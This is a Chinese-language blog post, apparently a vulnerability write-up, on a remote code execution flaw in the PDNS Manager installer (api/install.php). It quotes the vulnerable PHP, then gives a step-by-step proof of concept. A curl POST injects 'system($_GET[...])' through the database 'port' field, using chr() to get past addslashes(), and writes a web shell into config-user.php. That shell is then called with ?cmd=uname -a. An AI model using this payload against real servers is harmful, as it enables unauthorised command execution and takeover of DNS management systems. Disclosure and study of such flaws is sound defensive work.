AD

PDNSManager_RCE

影响版本:

Git master 3bf4e28 (2016-12-12) - 2bb00ea (2017-05-22)

漏洞分析:

PDNS Manager是用于管理Powerdns权威域名服务器的工具,
PDNS Manager 安装时,会首先调用两个文件:api/install.phpinstall.phpinstall文档用于让用户填写用于数据库连接的用户名密码等信息,然后这些配置信息会通过POST方式传送到api/install.php,然后api/install.php尝试连接数据库。
        
try {
        $db = new PDO("$input->type:dbname=$input->database;host=$input->host;port=$input->port", $input->user, $input->password);
}
catch (PDOException $e) {
    $retval['status'] = "error";
    $retval['message'] = serialize($e);
}


         如果api/install.php可以正常连接数据库,则会将数据库配置写入到以config/config-default.php为模板的config-user.php中,并进入下一步安装程序,
        
$configFile = Array();

$configFile[] = '
$configFile[] = '$config[\'db_host\']=\''.addslashes($input->host)."';";
$configFile[] = '$config[\'db_user\']=\''.addslashes($input->user)."';";
$configFile[] = '$config[\'db_password\']= \''.addslashes($input->password)."';";
$configFile[] = '$config[\'db_name\']=\''.addslashes($input->database)."';";
$configFile[] = '$config[\'db_port\']='.addslashes($input->port).";";
$configFile[] = '$config[\'db_type\']=\''.addslashes($input->type)."';";

$retval['status'] = "success";
try {
    file_put_contents("../config/config-user.php", implode("\n", $configFile));
}
         在进行安装时,会检查config/config-user.php文件是否存在,如果存在该文件,则会终止安装。
if(file_exists("../config/config-user.php")) {
    echo "Permission denied!";
    exit();
}
         虽然会终止安装,但安装文件并不会被删除,依然可以被访问。因此如果/config/config-user.php文件不存在,则可以重新运行访问并执行安装程序。
         在数据检查方面,只调用了addslashes()方法对输入的参数进行检查,用于屏蔽单双引号、双引号、反斜杠等。但是其中“端口”参数过滤不严格,存在安全问题:
        
POST /api/install.php HTTP/1.1
Host: example.com
[...]
Connection: close

{
    "host":"attacker-system.example.com",
    "user":"root",
    "password":"secret",
    "database":"pdnsdb",
    "port":"3306;system($_GET[chr(99).chr(109).chr(100)])",
    "userName":"administrator",
    "userPassword":"password",
    "type":"mysql"
}
         为了达到命令执行的漏洞,需要绕过单双引号限制,可以使用chr()函数实现绕过。
         PDNS中使用phpPDO类建立数据库连接。用于PDO类对“数据源名称”参数过滤的不够严格,可以导致“端口”参数中的数据被PDO类忽略过滤,直接写入到config/config-user.php文件中         
curl -H 'Content-Type: application/json' --data \
'{"host":"attacker-system.example.com", \
"user":"root", \
"password":"secret", \
"database":"pdnsdb", \
"port":"3306;system($_GET[chr(99).chr(109).chr(100)])", \
"userName":"administrator", \
"userPassword":"password", \
"type":"mysql"}' \
http://example.com/api/install.php
         如果config/config-user.php可以被正常解析,则可以利用如下方法执行命令:
        

POC

1.         检查目标是否还存在install.php文件;
http://example.com/install.php
2.         设置一个PDNS Manager可以连接的数据库;
3.         使用POST请求,发送POC
curl -H 'Content-Type: application/json' --data \
'{"host":"attacker-system.example.com", \
"user":"root", \
"password":"secret", \
"database":"pdnsdb", \
"port":"3306;system($_GET[chr(99).chr(109).chr(100)])", \
"userName":"administrator", \
"userPassword":"password", \
"type":"mysql"}' \
http://example.com/api/install.php

4.         利用写入的恶意代码执行命令
http://example.com/config/config-user.php?cmd=uname%20-a

Ref:


https://packetstormsecurity.com/files/143254/PDNS-Manager-Remote-Command-Execution.html

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

多种方法绕过POWERSHELL的执行策略